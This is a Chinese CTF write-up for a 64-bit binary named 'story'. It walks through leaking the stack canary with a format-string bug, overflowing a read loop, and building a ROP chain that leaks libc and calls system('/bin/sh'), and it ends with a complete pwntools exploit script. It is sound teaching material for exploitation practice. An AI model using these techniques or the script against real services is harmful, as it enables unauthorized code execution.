这道题是64位程序,涉及到canary绕过,格式化字符串漏洞,是一道非常好的练习题
首先检查保护,可以看到有堆栈不可执行和canary保护
Thunder_J@Thunder_J-virtual-machine:~/桌面$ checksec story
[*] '/home/Thunder_J/\xe6\xa1\x8c\xe9\x9d\xa2/story'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
一开始看以为是堆的题目,仔细一看是栈溢出,下面的函数可以看出,read函数存在栈溢出
unsigned __int64 __fastcall sub_400ABE(__int64 a1, unsigned __int64 a2)
{
char buf; // [rsp+1Fh] [rbp-11h]
unsigned __int64 i; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0LL; i < a2; ++i )
{
buf = 0;
if ( (signed int)read(0, &buf, 1uLL) < 0 )
{
puts("Read error!!\n");
exit(1);
}
*(_BYTE *)(i + a1) = buf;
if ( buf == 10 )
break;
}
*(_BYTE *)(a1 + i) = 0;
return __readfsqword(0x28u) ^ v5;
}
运行程序发现有canary保护,canary一般是存在于ret - 8的位置,我们先输入aaaaaaaa并找到输入的位置
gdb-peda$ find "aaaaaaaa"
Searching for 'aaaaaaaa' in: None ranges
Found 3 results, display max 3 items:
[heap] : 0x603010 ("aaaaaaaa")
[stack] : 0x7fffffffbd80 ("aaaaaaaaell Your ID:")
[stack] : 0x7fffffffe420 ("aaaaaaaa")
gdb-peda$ x/20gx 0x7fffffffe420
0x7fffffffe420: 0x6161616161616161 0x0000000000000000 # esp - 0x10
0x7fffffffe430: 0x0000000000000000 0x00007ffff7a85439
0x7fffffffe440: 0x00007ffff7dd2620 0x00007ffff7a7cdbd
0x7fffffffe450: 0x0000000000000000 0xa9f67089f5d72800 # canary
0x7fffffffe460: 0x00007fffffffe4a0 0x00000000004008c6 # ret address (esp - 0x50)
0x7fffffffe470: 0x00007fffffffe588 0x0000000100000000
0x7fffffffe480: 0x0000000000400b70 0x0000000000400780
0x7fffffffe490: 0x00007fffffffe580 0xa9f67089f5d72800
0x7fffffffe4a0: 0x0000000000400b70 0x00007ffff7a2d830
0x7fffffffe4b0: 0x0000000000000001 0x00007fffffffe588
canary的位置也就是我们输入的位置加上 7 位,我们输入的内容偏移 8 位即是我们的aaaaaaaa,总共加起来也就是 %15$p,通过这一点我们便可以泄露 canary
gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story
Please Tell Your ID:aaaaaaaa %x %x %x %x %x %x %x %x %x %x
Hello aaaaaaaa ffffbd80 f7dd3780 f7b042c0 f7fdc700 6 f7dd2620 603010 61616161 20782520 78252078
gdb-peda$ r
Starting program: /home/Thunder_J/桌面/story
Please Tell Your ID:aaaaaaaa %15$p
Hello aaaaaaaa 0xf77b92084307f000 # canary
接下来分三次发送payload,第一次我们通过puts函数打印__libc_start_main的got表内容,来计算libc基地址
payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)
第二次通过/bin/sh;%p来接收字符串/bin/sh的地址
payload2 = "/bin/sh;%p"
第三次就是调用system函数的内容,需要注意的是这是一个64位的程序,调用顺序与32位不同
payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
总的exp如下
from pwn import *
context.log_level = 'debug'
r = process('./story')
if args.G:
gdb.attach(r)
elf = ELF('./story')
r.recvuntil(':')
r.sendline('%15$p')
r.recvuntil('Hello ')
canary = int(r.recvuntil('\n'),16)
print "canary is:" + hex(canary)
pop_rdi = 0x0000000000400bd3
main = 0x400876
sleep(0.1)
payload = 'a'*136 + p64(canary) + 'b'*8 + p64(pop_rdi) + p64(elf.got['__libc_start_main'])+ p64(elf.plt['puts']) + p64(main)
r.recvuntil('Tell me the size of your story:\n')
r.sendline('200')
r.recvuntil('You can speak your story:\n')
r.sendline(payload)
libc_start = u64(r.recv(6) + '\x00' + '\x00')
print "Libc_start_main is :" + hex(libc_start)
sys_addr = libc_start + 0x24c50
print "System is:" + hex(sys_addr)
payload2 = "/bin/sh;%p"
r.recvuntil('ID:')
r.sendline(payload2)
r.recvuntil("/bin/sh;")
binsh = int(r.recv()[0:15],16)
print "binsh addr is:" + hex(binsh)
r.sendline('200')
#r.recvuntil('You can speak your story:\n')
payload3 = 'a'*136 + p64(canary) + 'q'*8 + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
sleep(0.1)
r.sendline(payload3)
r.interactive()